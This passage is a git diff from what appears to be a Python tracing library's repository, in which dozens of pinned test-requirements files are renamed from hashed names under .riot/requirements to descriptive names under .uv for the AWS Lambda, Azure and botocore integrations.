.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py313-aws-durable-execution-sdk-python-latest.txt diff --git a/.riot/requirements/10c6be8.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py314-aws-durable-execution-sdk-python-1-4-0.txt similarity index 100% rename from .riot/requirements/10c6be8.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py314-aws-durable-execution-sdk-python-1-4-0.txt diff --git a/.riot/requirements/12d0bda.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py314-aws-durable-execution-sdk-python-latest.txt similarity index 100% rename from .riot/requirements/12d0bda.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py314-aws-durable-execution-sdk-python-latest.txt diff --git a/.riot/requirements/19a8ed0.txt b/.uv/contrib-aws-lambda--aws-lambda-py310-datadog-lambda-gte-6-105-0.txt similarity index 100% rename from .riot/requirements/19a8ed0.txt rename to .uv/contrib-aws-lambda--aws-lambda-py310-datadog-lambda-gte-6-105-0.txt diff --git a/.riot/requirements/1842297.txt b/.uv/contrib-aws-lambda--aws-lambda-py310-datadog-lambda-latest.txt similarity index 100% rename from .riot/requirements/1842297.txt rename to .uv/contrib-aws-lambda--aws-lambda-py310-datadog-lambda-latest.txt diff --git a/.riot/requirements/46e7fca.txt b/.uv/contrib-aws-lambda--aws-lambda-py311-datadog-lambda-gte-6-105-0.txt similarity index 100% rename from .riot/requirements/46e7fca.txt rename to .uv/contrib-aws-lambda--aws-lambda-py311-datadog-lambda-gte-6-105-0.txt diff --git a/.riot/requirements/17cd03c.txt b/.uv/contrib-aws-lambda--aws-lambda-py311-datadog-lambda-latest.txt similarity index 100% rename from .riot/requirements/17cd03c.txt rename to .uv/contrib-aws-lambda--aws-lambda-py311-datadog-lambda-latest.txt diff --git a/.riot/requirements/a031170.txt b/.uv/contrib-aws-lambda--aws-lambda-py312-datadog-lambda-gte-6-105-0.txt similarity index 100% rename from .riot/requirements/a031170.txt rename to .uv/contrib-aws-lambda--aws-lambda-py312-datadog-lambda-gte-6-105-0.txt diff --git a/.riot/requirements/1c89113.txt b/.uv/contrib-aws-lambda--aws-lambda-py312-datadog-lambda-latest.txt similarity index 100% rename from .riot/requirements/1c89113.txt rename to .uv/contrib-aws-lambda--aws-lambda-py312-datadog-lambda-latest.txt diff --git a/.riot/requirements/e1faa28.txt b/.uv/contrib-aws-lambda--aws-lambda-py313-datadog-lambda-gte-6-105-0.txt similarity index 100% rename from .riot/requirements/e1faa28.txt rename to .uv/contrib-aws-lambda--aws-lambda-py313-datadog-lambda-gte-6-105-0.txt diff --git a/.riot/requirements/5b09682.txt b/.uv/contrib-aws-lambda--aws-lambda-py313-datadog-lambda-latest.txt similarity index 100% rename from .riot/requirements/5b09682.txt rename to .uv/contrib-aws-lambda--aws-lambda-py313-datadog-lambda-latest.txt diff --git a/.riot/requirements/1f27343.txt b/.uv/contrib-aws-lambda--aws-lambda-py39-datadog-lambda-gte-6-105-0.txt similarity index 100% rename from .riot/requirements/1f27343.txt rename to .uv/contrib-aws-lambda--aws-lambda-py39-datadog-lambda-gte-6-105-0.txt diff --git a/.riot/requirements/1dcfbb2.txt b/.uv/contrib-aws-lambda--aws-lambda-py39-datadog-lambda-latest.txt similarity index 100% rename from .riot/requirements/1dcfbb2.txt rename to .uv/contrib-aws-lambda--aws-lambda-py39-datadog-lambda-latest.txt diff --git a/.riot/requirements/f169434.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py310-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/f169434.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py310-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/11bb2fd.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py310-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/11bb2fd.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py310-azure-cosmos-latest.txt diff --git a/.riot/requirements/1b85263.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py311-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/1b85263.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py311-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/6161dc8.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py311-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/6161dc8.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py311-azure-cosmos-latest.txt diff --git a/.riot/requirements/15afa58.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py312-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/15afa58.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py312-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/e5a3994.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py312-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/e5a3994.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py312-azure-cosmos-latest.txt diff --git a/.riot/requirements/11a0d76.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py313-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/11a0d76.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py313-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/74b58c1.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py313-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/74b58c1.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py313-azure-cosmos-latest.txt diff --git a/.riot/requirements/aba00fe.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py314-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/aba00fe.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py314-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/1eb1254.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py314-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/1eb1254.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py314-azure-cosmos-latest.txt diff --git a/.riot/requirements/1c6984e.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py39-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/1c6984e.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py39-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/1dcf293.txt b/.uv/contrib-azure-cosmos--azure-cosmos-py39-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/1dcf293.txt rename to .uv/contrib-azure-cosmos--azure-cosmos-py39-azure-cosmos-latest.txt diff --git a/.riot/requirements/1d41aca.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py310-azure-functions-durable-1-2-1.txt similarity index 100% rename from .riot/requirements/1d41aca.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py310-azure-functions-durable-1-2-1.txt diff --git a/.riot/requirements/1812e30.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py310-azure-functions-durable-latest.txt similarity index 100% rename from .riot/requirements/1812e30.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py310-azure-functions-durable-latest.txt diff --git a/.riot/requirements/1da9fd6.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py311-azure-functions-durable-1-2-1.txt similarity index 100% rename from .riot/requirements/1da9fd6.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py311-azure-functions-durable-1-2-1.txt diff --git a/.riot/requirements/6fb117c.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py311-azure-functions-durable-latest.txt similarity index 100% rename from .riot/requirements/6fb117c.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py311-azure-functions-durable-latest.txt diff --git a/.riot/requirements/4e26a6c.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py312-azure-functions-durable-1-2-1.txt similarity index 100% rename from .riot/requirements/4e26a6c.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py312-azure-functions-durable-1-2-1.txt diff --git a/.riot/requirements/1224f7d.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py312-azure-functions-durable-latest.txt similarity index 100% rename from .riot/requirements/1224f7d.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py312-azure-functions-durable-latest.txt diff --git a/.riot/requirements/1c2c464.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py313-azure-functions-durable-1-2-1.txt similarity index 100% rename from .riot/requirements/1c2c464.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py313-azure-functions-durable-1-2-1.txt diff --git a/.riot/requirements/d184b05.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py313-azure-functions-durable-latest.txt similarity index 100% rename from .riot/requirements/d184b05.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py313-azure-functions-durable-latest.txt diff --git a/.riot/requirements/8c0d574.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py39-azure-functions-durable-1-2-1.txt similarity index 100% rename from .riot/requirements/8c0d574.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py39-azure-functions-durable-1-2-1.txt diff --git a/.riot/requirements/846e6df.txt b/.uv/contrib-azure-durable-functions--azure-durable-functions-py39-azure-functions-durable-latest.txt similarity index 100% rename from .riot/requirements/846e6df.txt rename to .uv/contrib-azure-durable-functions--azure-durable-functions-py39-azure-functions-durable-latest.txt diff --git a/.riot/requirements/1787fb7.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py310-azure-eventhub-5-12-0.txt similarity index 100% rename from .riot/requirements/1787fb7.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py310-azure-eventhub-5-12-0.txt diff --git a/.riot/requirements/8704384.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py310-azure-eventhub-latest.txt similarity index 100% rename from .riot/requirements/8704384.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py310-azure-eventhub-latest.txt diff --git a/.riot/requirements/1659232.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py311-azure-eventhub-5-12-0.txt similarity index 100% rename from .riot/requirements/1659232.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py311-azure-eventhub-5-12-0.txt diff --git a/.riot/requirements/11c8584.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py311-azure-eventhub-latest.txt similarity index 100% rename from .riot/requirements/11c8584.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py311-azure-eventhub-latest.txt diff --git a/.riot/requirements/18fa2e7.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py312-azure-eventhub-5-12-0.txt similarity index 100% rename from .riot/requirements/18fa2e7.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py312-azure-eventhub-5-12-0.txt diff --git a/.riot/requirements/1e675c0.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py312-azure-eventhub-latest.txt similarity index 100% rename from .riot/requirements/1e675c0.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py312-azure-eventhub-latest.txt diff --git a/.riot/requirements/12f0825.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py313-azure-eventhub-5-12-0.txt similarity index 100% rename from .riot/requirements/12f0825.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py313-azure-eventhub-5-12-0.txt diff --git a/.riot/requirements/b3b9ce6.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py313-azure-eventhub-latest.txt similarity index 100% rename from .riot/requirements/b3b9ce6.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py313-azure-eventhub-latest.txt diff --git a/.riot/requirements/15e7251.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py39-azure-eventhub-5-12-0.txt similarity index 100% rename from .riot/requirements/15e7251.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py39-azure-eventhub-5-12-0.txt diff --git a/.riot/requirements/b959120.txt b/.uv/contrib-azure-eventhubs--azure-eventhubs-py39-azure-eventhub-latest.txt similarity index 100% rename from .riot/requirements/b959120.txt rename to .uv/contrib-azure-eventhubs--azure-eventhubs-py39-azure-eventhub-latest.txt diff --git a/.riot/requirements/1e60e3c.txt b/.uv/contrib-azure-functions--azure-functions-py310-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/1e60e3c.txt rename to .uv/contrib-azure-functions--azure-functions-py310-azure-functions-1-10-1.txt diff --git a/.riot/requirements/1e62aea.txt b/.uv/contrib-azure-functions--azure-functions-py310-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/1e62aea.txt rename to .uv/contrib-azure-functions--azure-functions-py310-azure-functions-latest.txt diff --git a/.riot/requirements/44abb4f.txt b/.uv/contrib-azure-functions--azure-functions-py311-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/44abb4f.txt rename to .uv/contrib-azure-functions--azure-functions-py311-azure-functions-1-10-1.txt diff --git a/.riot/requirements/14b54db.txt b/.uv/contrib-azure-functions--azure-functions-py311-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/14b54db.txt rename to .uv/contrib-azure-functions--azure-functions-py311-azure-functions-latest.txt diff --git a/.riot/requirements/15a503b.txt b/.uv/contrib-azure-functions--azure-functions-py312-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/15a503b.txt rename to .uv/contrib-azure-functions--azure-functions-py312-azure-functions-1-10-1.txt diff --git a/.riot/requirements/1390f56.txt b/.uv/contrib-azure-functions--azure-functions-py312-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/1390f56.txt rename to .uv/contrib-azure-functions--azure-functions-py312-azure-functions-latest.txt diff --git a/.riot/requirements/1f3e043.txt b/.uv/contrib-azure-functions--azure-functions-py313-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/1f3e043.txt rename to .uv/contrib-azure-functions--azure-functions-py313-azure-functions-1-10-1.txt diff --git a/.riot/requirements/6518ecc.txt b/.uv/contrib-azure-functions--azure-functions-py313-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/6518ecc.txt rename to .uv/contrib-azure-functions--azure-functions-py313-azure-functions-latest.txt diff --git a/.riot/requirements/145ed9e.txt b/.uv/contrib-azure-functions--azure-functions-py39-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/145ed9e.txt rename to .uv/contrib-azure-functions--azure-functions-py39-azure-functions-1-10-1.txt diff --git a/.riot/requirements/c2420c2.txt b/.uv/contrib-azure-functions--azure-functions-py39-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/c2420c2.txt rename to .uv/contrib-azure-functions--azure-functions-py39-azure-functions-latest.txt diff --git a/.riot/requirements/12a51fd.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-1-10-1-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/12a51fd.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-1-10-1-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/1f218f2.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-1-10-1-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/1f218f2.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-1-10-1-azure-cosmos-latest.txt diff --git a/.riot/requirements/17b7249.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-latest-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/17b7249.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-latest-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/115d290.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-latest-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/115d290.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py311-azure-functions-latest-azure-cosmos-latest.txt diff --git a/.riot/requirements/1e52980.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-1-10-1-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/1e52980.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-1-10-1-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/16a6e70.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-1-10-1-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/16a6e70.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-1-10-1-azure-cosmos-latest.txt diff --git a/.riot/requirements/182bf3a.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-latest-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/182bf3a.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-latest-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/116a58c.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-latest-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/116a58c.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py312-azure-functions-latest-azure-cosmos-latest.txt diff --git a/.riot/requirements/185a095.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-1-10-1-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/185a095.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-1-10-1-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/b2cb8af.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-1-10-1-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/b2cb8af.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-1-10-1-azure-cosmos-latest.txt diff --git a/.riot/requirements/1ceb856.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-latest-azure-cosmos-4-9-0.txt similarity index 100% rename from .riot/requirements/1ceb856.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-latest-azure-cosmos-4-9-0.txt diff --git a/.riot/requirements/507a7eb.txt b/.uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-latest-azure-cosmos-latest.txt similarity index 100% rename from .riot/requirements/507a7eb.txt rename to .uv/contrib-azure-functions-cosmos--azure-functions-cosmos-py313-azure-functions-latest-azure-cosmos-latest.txt diff --git a/.riot/requirements/11b6e91.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py310-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/11b6e91.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py310-azure-functions-1-10-1.txt diff --git a/.riot/requirements/6289286.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py310-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/6289286.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py310-azure-functions-latest.txt diff --git a/.riot/requirements/8e33c6d.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py311-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/8e33c6d.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py311-azure-functions-1-10-1.txt diff --git a/.riot/requirements/d056ddd.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py311-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/d056ddd.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py311-azure-functions-latest.txt diff --git a/.riot/requirements/be25791.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py39-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/be25791.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py39-azure-functions-1-10-1.txt diff --git a/.riot/requirements/169477d.txt b/.uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py39-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/169477d.txt rename to .uv/contrib-azure-functions-eventhubs--azure-functions-eventhubs-py39-azure-functions-latest.txt diff --git a/.riot/requirements/17f7f1d.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py310-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/17f7f1d.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py310-azure-functions-1-10-1.txt diff --git a/.riot/requirements/1d36b1d.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py310-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/1d36b1d.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py310-azure-functions-latest.txt diff --git a/.riot/requirements/3adcfe7.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py311-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/3adcfe7.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py311-azure-functions-1-10-1.txt diff --git a/.riot/requirements/1f937c5.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py311-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/1f937c5.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py311-azure-functions-latest.txt diff --git a/.riot/requirements/1e4bf1b.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py39-azure-functions-1-10-1.txt similarity index 100% rename from .riot/requirements/1e4bf1b.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py39-azure-functions-1-10-1.txt diff --git a/.riot/requirements/1b2b6cf.txt b/.uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py39-azure-functions-latest.txt similarity index 100% rename from .riot/requirements/1b2b6cf.txt rename to .uv/contrib-azure-functions-servicebus--azure-functions-servicebus-py39-azure-functions-latest.txt diff --git a/.riot/requirements/6851a3c.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py310-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/6851a3c.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py310-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/7670259.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py310-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/7670259.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py310-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1053a29.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py311-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1053a29.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py311-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1f1c431.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py311-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1f1c431.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py311-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1c299c5.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py312-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1c299c5.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py312-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/18c82f1.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py312-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/18c82f1.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py312-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/85deb9a.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py313-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/85deb9a.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py313-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/18b7202.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py313-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/18b7202.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py313-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/170e1e9.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py314-azure-servicebus-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/170e1e9.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py314-azure-servicebus-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/4cdef4b.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py39-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/4cdef4b.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py39-azure-servicebus-7-14-0-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/18f9ba2.txt b/.uv/contrib-azure-servicebus--azure-servicebus-py39-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/18f9ba2.txt rename to .uv/contrib-azure-servicebus--azure-servicebus-py39-azure-servicebus-latest-azure-servicebus-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/15b093e.txt b/.uv/contrib-botocore--botocore-py310-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/15b093e.txt rename to .uv/contrib-botocore--botocore-py310-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/1558546.txt b/.uv/contrib-botocore--botocore-py310-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from .riot/requirements/1558546.txt rename to .uv/contrib-botocore--botocore-py310-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/5ff3018.txt b/.uv/contrib-botocore--botocore-py311-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/5ff3018.txt rename to .uv/contrib-botocore--botocore-py311-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/160bd16.txt b/.uv/contrib-botocore--botocore-py311-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from .riot/requirements/160bd16.txt rename to .uv/contrib-botocore--botocore-py311-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/d2b8f24.txt b/.uv/contrib-botocore--botocore-py312-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/d2b8f24.txt rename to .uv/contrib-botocore--botocore-py312-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/1ada48c.txt b/.uv/contrib-botocore--botocore-py312-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from .riot/requirements/1ada48c.txt rename to .uv/contrib-botocore--botocore-py312-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/127eabf.txt b/.uv/contrib-botocore--botocore-py313-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/127eabf.txt rename to .uv/contrib-botocore--botocore-py313-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/14fceda.txt b/.uv/contrib-botocore--botocore-py313-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from .riot/requirements/14fceda.txt rename to .uv/contrib-botocore--botocore-py313-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/12ce83b.txt b/.uv/contrib-botocore--botocore-py314-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/12ce83b.txt rename to .uv/contrib-botocore--botocore-py314-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/c6fa72d.txt b/.uv/contrib-botocore--botocore-py314-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from .riot/requirements/c6fa72d.txt rename to .uv/contrib-botocore--botocore-py314-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt diff --git a/.riot/requirements/60b507f.txt b/.uv/contrib-botocore--botocore-py39-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt similarity index 100% rename from .riot/requirements/60b507f.txt rename to .uv/contrib-botocore--botocore-py39-vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49.txt diff --git a/.riot/requirements/17fe359.txt b/.uv/contrib-botocore--botocore-py39-vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26.txt similarity index 100% rename from 